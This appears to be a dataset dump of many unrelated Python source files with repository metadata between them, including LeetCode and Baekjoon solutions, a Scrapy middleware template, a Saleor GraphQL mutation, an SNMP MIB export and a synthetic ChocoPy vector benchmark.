wfApplePortMacIPDisable=wfApplePortMacIPDisable, wfAppleAurpEntryOutTickles=wfAppleAurpEntryOutTickles, wfAppleRtmpAurpNextHopIpAddress=wfAppleRtmpAurpNextHopIpAddress, wfAppleAurpEntryInZiResponses=wfAppleAurpEntryInZiResponses, wfApplePortDdpNoProtocolHandlers=wfApplePortDdpNoProtocolHandlers, wfMacIPUpperIpAddress1=wfMacIPUpperIpAddress1, wfAppleZipZoneNetEnd=wfAppleZipZoneNetEnd, wfAppleMacIPAddressTimeOut=wfAppleMacIPAddressTimeOut, wfAppleAurpEntryInDelayedDuplicates=wfAppleAurpEntryInDelayedDuplicates, wfAppleAggrInPkts=wfAppleAggrInPkts, wfAppleAurpBase=wfAppleAurpBase, wfAppleAurpEntryInZiRequests=wfAppleAurpEntryInZiRequests, wfApplePortNbpInForwardRequests=wfApplePortNbpInForwardRequests, wfApplePortNbpInErrors=wfApplePortNbpInErrors, wfAppleZoneFilterCircuit=wfAppleZoneFilterCircuit, wfAppleAurpEntryPeerEnvironment=wfAppleAurpEntryPeerEnvironment, wfAppleLclZoneEntry=wfAppleLclZoneEntry, wfAppleAurpEntryInTickles=wfAppleAurpEntryInTickles, wfAppleAurpEntryInUpdateNetDeletes=wfAppleAurpEntryInUpdateNetDeletes, wfAppleAurpEntryOutNoRoutes=wfAppleAurpEntryOutNoRoutes, wfApplePortDdpInReceives=wfApplePortDdpInReceives, wfAppleZoneFilterIndex=wfAppleZoneFilterIndex, wfAppleBaseHomedPort=wfAppleBaseHomedPort, wfApplePortZoneFilterType=wfApplePortZoneFilterType, wfAppleBaseTotalZoneNames=wfAppleBaseTotalZoneNames, wfApplePortCurMacAddress=wfApplePortCurMacAddress, wfAppleAurpEntryIpAddress=wfAppleAurpEntryIpAddress, wfAppleAggrInTooShorts=wfAppleAggrInTooShorts, wfApplePortZipInZipReplies=wfApplePortZipInZipReplies, wfApplePortZipOutGetLocalZoneReplies=wfApplePortZipOutGetLocalZoneReplies, wfMacIPUpperIpAddress2=wfMacIPUpperIpAddress2, wfAppleAurpEntryInUpdateNetRouteChanges=wfAppleAurpEntryInUpdateNetRouteChanges, wfAppleAggrInHopCountErrs=wfAppleAggrInHopCountErrs, wfAppleZipTable=wfAppleZipTable, wfAppleAurpEntryInPkts=wfAppleAurpEntryInPkts, wfAppleAurpBaseState=wfAppleAurpBaseState, wfApplePortNetwork=wfApplePortNetwork, wfApplePortZipInErrors=wfApplePortZipInErrors, wfAppleBase=wfAppleBase, wfApplePortAarpRspRxs=wfApplePortAarpRspRxs, wfAppleAurpEntryOutDdpPkts=wfAppleAurpEntryOutDdpPkts, wfMacIPLowerIpAddress3=wfMacIPLowerIpAddress3, wfAppleAurpTable=wfAppleAurpTable, wfAppleAurpEntryInRiRequests=wfAppleAurpEntryInRiRequests, wfAppleAggrInXsumErrs=wfAppleAggrInXsumErrs, wfApplePortCurNetwork=wfApplePortCurNetwork, wfApplePortZipOutGetZoneListReplies=wfApplePortZipOutGetZoneListReplies, wfApplePortZipOutGetMyZoneReplies=wfApplePortZipOutGetMyZoneReplies, wfAppleRtmpNextHopNet=wfAppleRtmpNextHopNet, wfAppleAggrInLocalDests=wfAppleAggrInLocalDests, wfApplePortNetEnd=wfApplePortNetEnd, wfAppleBaseEstimatedNets=wfAppleBaseEstimatedNets, wfAppleAurpEntryInterfaceCost=wfAppleAurpEntryInterfaceCost, wfAppleAurpEntryInOpenResponses=wfAppleAurpEntryInOpenResponses, wfAppleAurpEntryOutGdzlRequests=wfAppleAurpEntryOutGdzlRequests, wfAppleAurpEntryOutUpdateNetDistanceChanges=wfAppleAurpEntryOutUpdateNetDistanceChanges, wfAppleAurpEntryHopCountErrors=wfAppleAurpEntryHopCountErrors, wfAppleAurpEntrySrvConnId=wfAppleAurpEntrySrvConnId, wfAppleAarpTable=wfAppleAarpTable, wfAppleAggrOutPkts=wfAppleAggrOutPkts, wfAppleAurpEntryType=wfAppleAurpEntryType, wfAppleAurpEntryDelete=wfAppleAurpEntryDelete, wfApplePortRtmpNextIRLessChanges=wfApplePortRtmpNextIRLessChanges, wfApplePortRtmpOutDataPkts=wfApplePortRtmpOutDataPkts, wfAppleAarpPhysAddress=wfAppleAarpPhysAddress, wfAppleAurpEntryInUpdateNetDistanceChanges=wfAppleAurpEntryInUpdateNetDistanceChanges, wfApplePortDfltZone=wfApplePortDfltZone, wfAppleRtmpState=wfAppleRtmpState, wfAppleAurpEntryUpdateRate=wfAppleAurpEntryUpdateRate, wfAppleRtmpNextHopNode=wfAppleRtmpNextHopNode, wfApplePortZipInGetMyZones=wfApplePortZipInGetMyZones, wfAppleAurpEntryInGznRequests=wfAppleAurpEntryInGznRequests, wfApplePortZipOutGetNetInfoReplies=wfApplePortZipOutGetNetInfoReplies, wfApplePortCurDfltZone=wfApplePortCurDfltZone, wfAppleAurpEntryOutUpdateNetDeletes=wfAppleAurpEntryOutUpdateNetDeletes, wfAppleAurpEntryOutGdzlResponses=wfAppleAurpEntryOutGdzlResponses, wfAppleZipZoneState=wfAppleZipZoneState, wfApplePortAarpFlush=wfApplePortAarpFlush, wfApplePortDdpTooShortErrors=wfApplePortDdpTooShortErrors, wfApplePortZipInGetNetInfoReplies=wfApplePortZipInGetNetInfoReplies, wfAppleAurpEntryTimeoutCommand=wfAppleAurpEntryTimeoutCommand, wfAppleAurpEntryInInvalidSubCodes=wfAppleAurpEntryInInvalidSubCodes, wfAppleAurpEntryOutGznResponses=wfAppleAurpEntryOutGznResponses, wfApplePortNbpOutLookUpReplies=wfApplePortNbpOutLookUpReplies, wfAppleBaseDisable=wfAppleBaseDisable, wfAppleMacIPBaseState=wfAppleMacIPBaseState, wfAppleAurpEntryOutUpdateNetRouteChanges=wfAppleAurpEntryOutUpdateNetRouteChanges, wfAppleAurpEntryInRouterDowns=wfAppleAurpEntryInRouterDowns, wfAppleAarpIfIndex=wfAppleAarpIfIndex, wfAppleAurpEntryZoneFilterType=wfAppleAurpEntryZoneFilterType, wfApplePortDdpHopCountErrors=wfApplePortDdpHopCountErrors, wfAppleAurpEntrySuiFlags=wfAppleAurpEntrySuiFlags, wfApplePortNbpOutLookUpRequests=wfApplePortNbpOutLookUpRequests) mibBuilder.exportSymbols("Wellfleet-AT-MIB", wfAppleAurpEntryOutTickleAcks=wfAppleAurpEntryOutTickleAcks, wfAppleMacIPServerRequests=wfAppleMacIPServerRequests, wfAppleAggrFwdDatagrams=wfAppleAggrFwdDatagrams, wfApplePortNbpRegistrationFailures=wfApplePortNbpRegistrationFailures)
[ "dcwangmit01@gmail.com" ]
dcwangmit01@gmail.com
23abccf6e279d1b05e90ee110ff1aac079fd41eb
02ce6d29fec0d68ca2a2a778d37d2f2cff1a590e
/Day01-15/code/Day13/multithread1.py
ee8f83985de00593d5b95dfe88aee3e6c7bf0df9
[]
no_license
CalvinCheungCoder/Python-100-Days
605045122e40c119abc32466c32479559a4d4b9b
0f9bec8893954d4afbe2037dad92885c7d4d31f8
refs/heads/master
2020-04-17T11:49:42.148478
2019-09-19T10:22:37
2019-09-19T10:22:37
166,556,771
1
0
null
null
null
null
UTF-8
Python
false
false
1,236
py
# 使用多线程的情况 - 模拟多个下载任务 from random import randint from time import time, sleep import atexit import _thread def download_task(filename): print('开始下载%s...' % filename) time_to_download = randint(5, 10) print('剩余时间%d秒.' % time_to_download) sleep(time_to_download) print('%s下载完成!' % filename) def shutdown_hook(start): end = time() print('总共耗费了%.3f秒.' % (end - start)) def main(): start = time() # 将多个下载任务放到多个线程中执行 thread1 = _thread.start_new_thread(download_task, ('Python从入门到住院.pdf',)) thread2 = _thread.start_new_thread(download_task, ('Peking Hot.avi',)) # 注册关机钩子在程序执行结束前计算执行时间 atexit.register(shutdown_hook, start) if __name__ == '__main__': main() # 执行这里的代码会引发致命错误(不要被这个词吓到) 因为主线程结束后下载线程再想执行就会出问题 # 需要说明一下 由于_thread模块属于比较底层的线程操作而且不支持守护线程的概念 # 在实际开发中会有诸多不便 因此我们推荐使用threading模块提供的高级操作进行多线程编程
[ "984382258@qq.com" ]
984382258@qq.com
6c4f916ab3dde9c3c73afc2ce13730c11e20b449
9703641c14b7c19f2fcf937150204ab85b4151a2
/map_reduce.py
87ecd4b4ecd80fdeefd121254a0c3b40ccc5a51c
[]
no_license
walkmiao/Little_Case
8effbea554c930e0eb32d4335ecbd5541a9c1251
ab445659e19c85ecfd9b99f8d615c33f900662f8
refs/heads/master
2021-06-11T05:30:39.415720
2019-05-14T10:37:29
2019-05-14T10:37:29
128,582,484
1
0
null
null
null
null
UTF-8
Python
false
false
750
py
#!/usr/bin/env python # -*- coding: utf-8 -*- # @Time : 2018/4/14 11:05 # @Author : LCH # @Site : # @File : map_reduce.py # @Software: PyCharm from functools import reduce print('map函数打印'.center(20,'*')) L1=map(lambda x:('整数'+str(x)),[x for x in range(1,10) if (x%2==0)]) for i in L1: print(i) print('reduce 函数打印'.center(20,'*')) L2=reduce(lambda x,y:x*y,[x for x in range (1,10) if (x%2==0)]) print(L2) print('分割线'.center(20,'-')) print('fileter 函数打印'.center(20,'*')) def f(x): if x%2==0: return x L3=filter(lambda x:f(x),[x for x in range(1,10)]) for i in L3: print(i) print('sorted函数打印'.center(20,'*')) L4=sorted([x for x in range(1,10)],key=abs) for i in L4: print(i)
[ "372815340@qq.com" ]
372815340@qq.com
4da87d1a40389b28f78cfe305a3a0639b5b29e12
c4b94158b0ac8f1c4f3d535b6cdee5d1639743ce
/Python/111__Minimum_Depth_of_Binary_Tree.py
6fe7a6cb166e10c97b1bc7263b6fa7b285ff494a
[]
no_license
FIRESTROM/Leetcode
fc61ae5f11f9cb7a118ae7eac292e8b3e5d10e41
801beb43235872b2419a92b11c4eb05f7ea2adab
refs/heads/master
2020-04-04T17:40:59.782318
2019-08-26T18:58:21
2019-08-26T18:58:21
156,130,665
2
0
null
null
null
null
UTF-8
Python
false
false
1,219
py
# Definition for a binary tree node. # class TreeNode(object): # def __init__(self, x): # self.val = x # self.left = None # self.right = None class Solution(object): def minDepth(self, root): """ :type root: TreeNode :rtype: int """ if not root: return 0 else: stack, min_depth = [(1, root)], float("inf") while stack: depth, root = stack.pop() children = [root.left, root.right] if not any(children): min_depth = min(depth, min_depth) for c in children: if c: stack.append((depth + 1, c)) return min_depth # Or Use Recursion class Solution: def minDepth(self, root): """ :type root: TreeNode :rtype: int """ if not root: return 0 children = [root.left, root.right] # if we're at leaf node if not any(children): return 1 min_depth = float("inf") for child in children: if child: min_depth = min(self.minDepth(child), min_depth) return min_depth + 1
[ "junou_cui@berkeley.edu" ]
junou_cui@berkeley.edu
dba2464ce4ec39659e48e36fb8993b924f58f5a4
9851c3f47c1aa165bc0d239074fe238f82055875
/LeetCode/1470. Shuffle the Array/solution.py
d87117a07f282268c856397090c5fbb36069116d
[ "Apache-2.0" ]
permissive
InnoFang/algo-set
12f886dbec0da664327d26bcaf02c1316151a643
2419a7d720bea1fd6ff3b75c38342a0ace18b205
refs/heads/master
2023-03-16T09:51:24.631068
2023-03-13T11:08:54
2023-03-13T11:08:54
86,413,001
23
9
null
null
null
null
UTF-8
Python
false
false
440
py
""" 53 / 53 test cases passed. Runtime: 24 ms Memory Usage: 15.2 MB """ class Solution: def shuffle(self, nums: List[int], n: int) -> List[int]: return [nums[(i >> 1) + n] if i & 1 else nums[(i >> 1)] for i in range(2 * n)] """ 53 / 53 test cases passed. Runtime: 50 ms Memory Usage: 15.1 MB """ class Solution2: def shuffle(self, nums: List[int], n: int) -> List[int]: return sum(zip(nums[:n], nums[n:]), ())
[ "innofang@outlook.com" ]
innofang@outlook.com
ef8b0f71bb72e856120f0380af6305f0cdb7c789
8f8498bb6f56b19d45a1989c8113a077348c0a02
/SWEA/Level 4/격자판의 숫자 이어 붙이기.py
0d5c2c5b5ad7a58fb2d1115a1e87ee2fe8dbf278
[]
no_license
gjtjdtn201/practice
a09b437c892b0b601e156c09cb1f053b52fab11b
ea45582b2773616b2b8f350b927559210009d89f
refs/heads/master
2021-01-01T13:29:46.640740
2020-11-28T00:55:37
2020-11-28T00:55:37
239,299,485
0
1
null
null
null
null
UTF-8
Python
false
false
615
py
import sys sys.stdin = open('격자판에 숫자 이어 붙이기.txt', 'r') def ad(n, al, a, b): if n == 7: visit.add(al) return for i in range(4): ny = a + dy[i] nx = b + dx[i] if 0 <= ny < 4 and 0 <= nx < 4: ad(n+1, al+matrix[ny][nx], ny, nx) dy = [1, -1, 0, 0] dx = [0, 0, 1, -1] for tc in range(1, int(input())+1): matrix = [] for i in range(4): matrix.append(list(input().split())) visit = set() for y in range(4): for x in range(4): ad(1, matrix[y][x], y, x) print('#{} {}'.format(tc, len(visit)))
[ "gjtjdtn201@naver.com" ]
gjtjdtn201@naver.com
2f8935e90b1f58cd08d61595961b2acef65972f0
61b565b8ebc39dd561fee2923b94027efb42b7f6
/agsadmin/sharing_admin/content/users/UserContentBase.py
84ea50006a2e27b2e7ff9bcf689d6f05a0ae99f1
[ "BSD-3-Clause" ]
permissive
DavidWhittingham/agsadmin
30cc8ac9297db1f169aa3f2cf068bbfba77d9b2f
31960c01321df95d5918950371d3d795da2d0579
refs/heads/develop
2023-07-24T02:35:01.492001
2023-07-05T04:24:09
2023-07-05T04:24:09
13,790,963
3
5
BSD-3-Clause
2018-03-06T06:10:19
2013-10-23T01:51:30
Python
UTF-8
Python
false
false
2,470
py
from __future__ import (absolute_import, division, print_function, unicode_literals) from builtins import (ascii, bytes, chr, dict, filter, hex, input, int, map, next, oct, open, pow, range, round, str, super, zip) from ...._utils import send_session_request from ..._PortalEndpointBase import PortalEndpointBase from .AddItemParams import AddItemParams from .ListItemsParams import ListItemsParams from .PublishParams import PublishParams from .UserItem import UserItem class UserContentBase(PortalEndpointBase): def __init__(self, requests_session, url_base, username): super().__init__(requests_session, url_base) self._pdata = {"username": username} @property def _url_full(self): return "{0}/{1}".format(self._url_base, self.username) @property def username(self): return self._pdata["username"] def add_item(self, add_item_params): add_item_params = add_item_params._get_params() if isinstance(add_item_params, AddItemParams) else add_item_params r = self._create_operation_request(self, "addItem", method="POST", data=add_item_params) return send_session_request(self._session, r).json() def get_item(self, item_id): """ Gets a link to a content item in the portal owned by a particular user. """ return UserItem(self._session, self._url_full, self.username, item_id) def list_items(self, list_items_params=None): """ Gets a list of item details. """ list_items_params = None if list_items_params == None else list_items_params._get_params() if isinstance( list_items_params, ListItemsParams) else list_items_params r = self._create_operation_request(self, data=list_items_params) return send_session_request(self._session, r).json() def publish(self, publish_params): publish_params = publish_params._get_params() if isinstance(publish_params, PublishParams) else publish_params r = self._create_operation_request(self, "publish", method="POST", data=publish_params) return send_session_request(self._session, r).json() def replace_service(self, replace_service_request): r = self._create_operation_request(self, "replaceService", method="POST", data=replace_service_request) return send_session_request(self._session, r).json()
[ "DavidWhittingham@users.noreply.github.com" ]
DavidWhittingham@users.noreply.github.com
00899b9182a2710abdfd11fc903f3a4866a2efe0
38d93c5fd72fee380ec431b2ca60a069eef8579d
/Baekjoon,SWEA, etc/백준/4012요리사.py
3dc13f8f65a96aa2d92052c6c5f00e14aa6cf448
[]
no_license
whgusdn321/Competitive-programming
5d1b681f5bee90de5678219d91cd0fa764476ddd
3ff8e6b1d2facd31a8210eddeef851ffd0dce02a
refs/heads/master
2023-01-01T01:34:22.936373
2020-10-24T11:05:08
2020-10-24T11:05:08
299,181,046
0
0
null
null
null
null
UTF-8
Python
false
false
1,090
py
def make_combis(i, stakk, limit): global N, combis if len(stakk) == limit: anothor = [i for i in range(N) if i not in stakk] combis.append([stakk.copy(), anothor]) return for j in range(i+1, N): stakk.append(j) make_combis(j, stakk, limit) stakk.pop() T = int(input()) for tc in range(1, T+1): N = int(input()) maap = [] for _ in range(N): temp = [int(char) for char in input().split()] maap.append(temp) limit = N // 2 combis = [] make_combis(-1, [], limit) #print('combis : ', combis) results = [] for combi in combis: food1, food2 = combi a, b = 0, 0 for i in range(N//2): for j in range(i+1, N//2): a += maap[food1[i]][food1[j]] a += maap[food1[j]][food1[i]] for i in range(N//2): for j in range(i+1, N//2): b += maap[food2[i]][food2[j]] b += maap[food2[j]][food2[i]] results.append(abs(a - b)) print('#{} {}'.format(tc, min(results)))
[ "blackgoldace@naver.com" ]
blackgoldace@naver.com
e73ee26033ad8ab16f6bf631cc3d8896890ebe9b
721b77cd11d74a0bca941d16090e10124d24566a
/marchfelderebank/middlewares.py
ba8f7cb144f48d91bc2a1d1ae500bd557a394bfc
[]
no_license
SimeonYS/Marchfelder-Bank-eG
619195f4769c582c98dd4bf7a3038c0185d3e4f6
80d44f9633a7f4d860eb68ada6a81439a8eb442b
refs/heads/main
2023-03-05T16:48:53.917333
2021-02-17T12:23:20
2021-02-17T12:23:20
339,710,868
0
0
null
null
null
null
UTF-8
Python
false
false
3,668
py
# Define here the models for your spider middleware # # See documentation in: # https://docs.scrapy.org/en/latest/topics/spider-middleware.html from scrapy import signals # useful for handling different item types with a single interface from itemadapter import is_item, ItemAdapter class MarchfelderebankSpiderMiddleware: # Not all methods need to be defined. If a method is not defined, # scrapy acts as if the spider middleware does not modify the # passed objects. @classmethod def from_crawler(cls, crawler): # This method is used by Scrapy to create your spiders. s = cls() crawler.signals.connect(s.spider_opened, signal=signals.spider_opened) return s def process_spider_input(self, response, spider): # Called for each response that goes through the spider # middleware and into the spider. # Should return None or raise an exception. return None def process_spider_output(self, response, result, spider): # Called with the results returned from the Spider, after # it has processed the response. # Must return an iterable of Request, or item objects. for i in result: yield i def process_spider_exception(self, response, exception, spider): # Called when a spider or process_spider_input() method # (from other spider middleware) raises an exception. # Should return either None or an iterable of Request or item objects. pass def process_start_requests(self, start_requests, spider): # Called with the start requests of the spider, and works # similarly to the process_spider_output() method, except # that it doesn’t have a response associated. # Must return only requests (not items). for r in start_requests: yield r def spider_opened(self, spider): spider.logger.info('Spider opened: %s' % spider.name) class MarchfelderebankDownloaderMiddleware: # Not all methods need to be defined. If a method is not defined, # scrapy acts as if the downloader middleware does not modify the # passed objects. @classmethod def from_crawler(cls, crawler): # This method is used by Scrapy to create your spiders. s = cls() crawler.signals.connect(s.spider_opened, signal=signals.spider_opened) return s def process_request(self, request, spider): # Called for each request that goes through the downloader # middleware. # Must either: # - return None: continue processing this request # - or return a Response object # - or return a Request object # - or raise IgnoreRequest: process_exception() methods of # installed downloader middleware will be called return None def process_response(self, request, response, spider): # Called with the response returned from the downloader. # Must either; # - return a Response object # - return a Request object # - or raise IgnoreRequest return response def process_exception(self, request, exception, spider): # Called when a download handler or a process_request() # (from other downloader middleware) raises an exception. # Must either: # - return None: continue processing this exception # - return a Response object: stops process_exception() chain # - return a Request object: stops process_exception() chain pass def spider_opened(self, spider): spider.logger.info('Spider opened: %s' % spider.name)
[ "simeon.simeonov@ADPVT.com" ]
simeon.simeonov@ADPVT.com
60ab1489088b31707cfd6d1c0b22af2b86e2e4dd
84c4474a88a59da1e72d86b33b5326003f578271
/saleor/graphql/menu/mutations/menu_update.py
cc4bee256c0cd0517f1ae8a880c5c915fb1e9b1d
[ "BSD-3-Clause" ]
permissive
vineetb/saleor
052bd416d067699db774f06453d942cb36c5a4b7
b0d5ec1a55f2ceeba6f62cf15f53faea0adf93f9
refs/heads/main
2023-07-20T02:01:28.338748
2023-07-17T06:05:36
2023-07-17T06:05:36
309,911,573
0
0
NOASSERTION
2020-11-04T06:32:55
2020-11-04T06:32:55
null
UTF-8
Python
false
false
1,689
py
import graphene from ....menu import models from ....permission.enums import MenuPermissions from ....webhook.event_types import WebhookEventAsyncType from ...channel import ChannelContext from ...core import ResolveInfo from ...core.mutations import ModelMutation from ...core.types import MenuError from ...core.utils import WebhookEventInfo from ...plugins.dataloaders import get_plugin_manager_promise from ..types import Menu class MenuInput(graphene.InputObjectType): name = graphene.String(description="Name of the menu.") slug = graphene.String(description="Slug of the menu.", required=False) class MenuUpdate(ModelMutation): class Arguments: id = graphene.ID(required=True, description="ID of a menu to update.") input = MenuInput( required=True, description="Fields required to update a menu." ) class Meta: description = "Updates a menu." model = models.Menu object_type = Menu permissions = (MenuPermissions.MANAGE_MENUS,) error_type_class = MenuError error_type_field = "menu_errors" webhook_events_info = [ WebhookEventInfo( type=WebhookEventAsyncType.MENU_UPDATED, description="A menu was updated.", ), ] @classmethod def post_save_action(cls, info: ResolveInfo, instance, cleaned_input): manager = get_plugin_manager_promise(info.context).get() cls.call_event(manager.menu_updated, instance) @classmethod def success_response(cls, instance): instance = ChannelContext(node=instance, channel_slug=None) return super().success_response(instance)
[ "noreply@github.com" ]
vineetb.noreply@github.com
e58a210e35b00d7436f86b19cc0b7f3004ea0685
ba095b34fb62cff6f5f6f32dc7036f13b45681a2
/llia/synths/chronos/chronos_random.py
9efb38afa7d9ca00ff2c6f8f8e3e8c2ecd0c355e
[]
no_license
plewto/Llia
7d3c60bd7355d02e9b00e97c82f24da5fa83b0f4
97f530ff0841b9604f0d9575e7e1f0e3c0660be0
refs/heads/master
2020-05-21T20:39:07.223990
2018-04-30T02:28:55
2018-04-30T02:28:55
63,315,753
17
2
null
2016-08-04T17:10:17
2016-07-14T08:05:33
Python
UTF-8
Python
false
false
1,563
py
# llia.synths.chronos.chronos_random from llia.util.lmath import * from llia.synths.chronos.chronos_data import chronos def random_program(slot=127, *_): p = chronos(slot, "Random", lfoCommonFreq = coin(0.75, rnd(3),rnd(10)), d1Dry1In = 1.0, d1Dry2In = 0.0, d1DelayTime = coin(0.5, rnd(2), coin(0.5, rnd(0.2), rnd(0.01))), d1LfoRatio = pick([0.125,0.25,0.5,0.75,1.0,1.5,2,3,4,5,6,8]), d1ExternalModDepth = 0.0, d1Lowpass = coin(0.75, 20000, pick([1000,2000,4000,8000])), d1Highpass = coin(0.75, 40, pick([200,400,800,1600,3200])), d1Feedback = coin(0.75, rnd(0.75), rnd()), d2Dry1In = 0.0, d2Dry2In = 1.0, d2Delay1In = coin(0.75, 0.0, 1.0), d2DelayTime = coin(0.5, rnd(2), coin(0.5, rnd(0.2), rnd(0.01))), d2LfoRatio = pick([0.125,0.25,0.5,0.75,1.0,1.5,2,3,4,5,6,8]), d2ExternalModDepth = 0.0, d2Lowpass = coin(0.75, 20000, pick([1000,2000,4000,8000])), d2Highpass = coin(0.75, 40, pick([200,400,800,1600,3200])), d2Feedback = coin(0.75, rnd(0.75), rnd()), dry1Amp = 1.0, dry2Amp = 1.0, d1Amp = coin(0.75, 1, 0.5 + rnd(0.5)), d2Amp = coin(0.75, 1, 0.5 + rnd(0.5)), dry1Pan = 0.75, dry2Pan = -0.75, d1Pan = -0.75, d2Pan = 0.75) return p
[ "plewto@gmail.com" ]
plewto@gmail.com
f3bf5122a1002b43e461cbe93b4a139a95076add
48bf32a0455eccfa0e5795effcd5661612eaf03e
/string/1152.py
e216ff40712148e779820a137a6936125a3e213c
[]
no_license
ohjooyeong/baekjoonalgo
0e84c78f761d28843bcc921397c509eef0ab9ca3
e893c72f95fb01a646abfc1279771282a622601b
refs/heads/master
2020-07-30T23:27:45.568869
2019-11-15T10:43:09
2019-11-15T10:43:09
null
0
0
null
null
null
null
UTF-8
Python
false
false
110
py
# 백준 단어의 개수 import sys string = list(sys.stdin.readline().strip().split()) print(len(string))
[ "brb1111@naver.com" ]
brb1111@naver.com
4df5f4f912e51465974e6961e67ab1f8ec461158
d5d94c992d0596080ba694c518dfdb58d3490847
/0517/answer.py
6843c0a98adeaf6bb764fda2bb909b3cd2e7b224
[]
no_license
calgagi/leetcode
1bf24b750e44c2c893935983e5d88e0f071d9f2d
431aba979d92e331f2f92a07eb80167a823a49bd
refs/heads/master
2022-11-17T11:26:01.596496
2020-07-19T06:56:04
2020-07-19T06:56:04
276,207,528
0
0
null
null
null
null
UTF-8
Python
false
false
382
py
class Solution(object): def distributeCandies(self, candies): """ :type candies: List[int] :rtype: int """ num_candies = len(candies) sis_candies = num_candies // 2 num_types = len(list(set(candies))) if sis_candies >= num_types: return num_types else: return sis_candies
[ "calgagi@gmail.com" ]
calgagi@gmail.com
f44d6d91045adeb33ea6f3ddad715bbc1c6bb4ca
c9ddbdb5678ba6e1c5c7e64adf2802ca16df778c
/cases/synthetic/sieve-big-7643.py
6a6aa44f02983638bdbf361764710ee0d52dae75
[]
no_license
Virtlink/ccbench-chocopy
c3f7f6af6349aff6503196f727ef89f210a1eac8
c7efae43bf32696ee2b2ee781bdfe4f7730dec3f
refs/heads/main
2023-04-07T15:07:12.464038
2022-02-03T15:42:39
2022-02-03T15:42:39
451,969,776
0
0
null
null
null
null
UTF-8
Python
false
false
31,740
py
# A resizable list of integers class Vector(object): items: [int] = None size: int = 0 def __init__(self:"Vector"): self.items = [0] # Returns current capacity def capacity(self:"Vector") -> int: return len(self.items) # Increases capacity of vector by one element def increase_capacity(self:"Vector") -> int: self.items = self.items + [0] return self.capacity() # Appends one item to end of vector def append(self:"Vector", item: int) -> object: if self.size == self.capacity(): self.increase_capacity() self.items[self.size] = item self.size = self.size + 1 # Appends many items to end of vector def append_all(self:"Vector", new_items: [int]) -> object: item:int = 0 for item in new_items: self.append(item) # Removes an item from the middle of vector def remove_at(self:"Vector", idx: int) -> object: if idx < 0: return while idx < self.size - 1: self.items[idx] = self.items[idx + 1] idx = idx + 1 self.size = self.size - 1 # Retrieves an item at a given index def get(self:"Vector", idx: int) -> int: return self.items[idx] # Retrieves the current size of the vector def length(self:"Vector") -> int: return self.size # A resizable list of integers class Vector2(object): items: [int] = None items2: [int] = None size: int = 0 size2: int = 0 def __init__(self:"Vector2"): self.items = [0] # Returns current capacity def capacity(self:"Vector2") -> int: return len(self.items) # Returns current capacity def capacity2(self:"Vector2") -> int: return len(self.items) # Increases capacity of vector by one element def increase_capacity(self:"Vector2") -> int: self.items = self.items + [0] return self.capacity() # Increases capacity of vector by one element def increase_capacity2(self:"Vector2") -> int: self.items = self.items + [0] return self.capacity() # Appends one item to end of vector def append(self:"Vector2", item: int) -> object: if self.size == self.capacity(): self.increase_capacity() self.items[self.size] = item self.size = self.size + 1 # Appends one item to end of vector def append2(self:"Vector2", item: int, item2: int) -> object: if self.size == self.capacity(): self.increase_capacity() self.items[self.size] = item self.size = self.size + 1 # Appends many items to end of vector def append_all(self:"Vector2", new_items: [int]) -> object: item:int = 0 for item in new_items: self.append(item) # Appends many items to end of vector def append_all2(self:"Vector2", new_items: [int], new_items2: [int]) -> object: item:int = 0 item2:int = 0 for item in new_items: self.append(item) # Removes an item from the middle of vector def remove_at(self:"Vector2", idx: int) -> object: if idx < 0: return while idx < self.size - 1: self.items[idx] = self.items[idx + 1] idx = idx + 1 self.size = self.size - 1 # Removes an item from the middle of vector def remove_at2(self:"Vector2", idx: int, idx2: int) -> object: if idx < 0: return while idx < self.size - 1: self.items[idx] = self.items[idx + 1] idx = idx + 1 self.size = self.size - 1 # Retrieves an item at a given index def get(self:"Vector2", idx: int) -> int: return self.items[idx] # Retrieves an item at a given index def get2(self:"Vector2", idx: int, idx2: int) -> int: return self.items[idx] # Retrieves the current size of the vector def length(self:"Vector2") -> int: return self.size # Retrieves the current size of the vector def length2(self:"Vector2") -> int: return self.size # A resizable list of integers class Vector3(object): items: [int] = None items2: [int] = None items3: [int] = None size: int = 0 size2: int = 0 size3: int = 0 def __init__(self:"Vector3"): self.items = [0] # Returns current capacity def capacity(self:"Vector3") -> int: return len(self.items) # Returns current capacity def capacity2(self:"Vector3") -> int: return len(self.items) # Returns current capacity def capacity3(self:"Vector3") -> int: return len(self.items) # Increases capacity of vector by one element def increase_capacity(self:"Vector3") -> int: self.items = self.items + [0] return self.capacity() # Increases capacity of vector by one element def increase_capacity2(self:"Vector3") -> int: self.items = self.items + [0] return self.capacity() # Increases capacity of vector by one element def increase_capacity3(self:"Vector3") -> int: self.items = self.items + [0] return self.capacity() # Appends one item to end of vector def append(self:"Vector3", item: int) -> object: if self.size == self.capacity(): self.increase_capacity() self.items[self.size] = item self.size = self.size + 1 # Appends one item to end of vector def append2(self:"Vector3", item: int, item2: int) -> object: if self.size == self.capacity(): self.increase_capacity() self.items[self.size] = item self.size = self.size + 1 # Appends one item to end of vector def append3(self:"Vector3", item: int, item2: int, item3: int) -> object: if self.size == self.capacity(): self.increase_capacity() self.items[self.size] = item self.size = self.size + 1 # Appends many items to end of vector def append_all(self:"Vector3", new_items: [int]) -> object: item:int = 0 for item in new_items: self.append(item) # Appends many items to end of vector def append_all2(self:"Vector3", new_items: [int], new_items2: [int]) -> object: item:int = 0 item2:int = 0 for item in new_items: self.append(item) # Appends many items to end of vector def append_all3(self:"Vector3", new_items: [int], new_items2: [int], new_items3: [int]) -> object: item:int = 0 item2:int = 0 item3:int = 0 for item in new_items: self.append(item) # Removes an item from the middle of vector def remove_at(self:"Vector3", idx: int) -> object: if idx < 0: return while idx < self.size - 1: self.items[idx] = self.items[idx + 1] idx = idx + 1 self.size = self.size - 1 # Removes an item from the middle of vector def remove_at2(self:"Vector3", idx: int, idx2: int) -> object: if idx < 0: return while idx < self.size - 1: self.items[idx] = self.items[idx + 1] idx = idx + 1 self.size = self.size - 1 # Removes an item from the middle of vector def remove_at3(self:"Vector3", idx: int, idx2: int, idx3: int) -> object: if idx < 0: return while idx < self.size - 1: self.items[idx] = self.items[idx + 1] idx = idx + 1 self.size = self.size - 1 # Retrieves an item at a given index def get(self:"Vector3", idx: int) -> int: return self.items[idx] # Retrieves an item at a given index def get2(self:"Vector3", idx: int, idx2: int) -> int: return self.items[idx] # Retrieves an item at a given index def get3(self:"Vector3", idx: int, idx2: int, idx3: int) -> int: return self.items[idx] # Retrieves the current size of the vector def length(self:"Vector3") -> int: return self.size # Retrieves the current size of the vector def length2(self:"Vector3") -> int: return self.size # Retrieves the current size of the vector def length3(self:"Vector3") -> int: return self.size # A resizable list of integers class Vector4(object): items: [int] = None items2: [int] = None 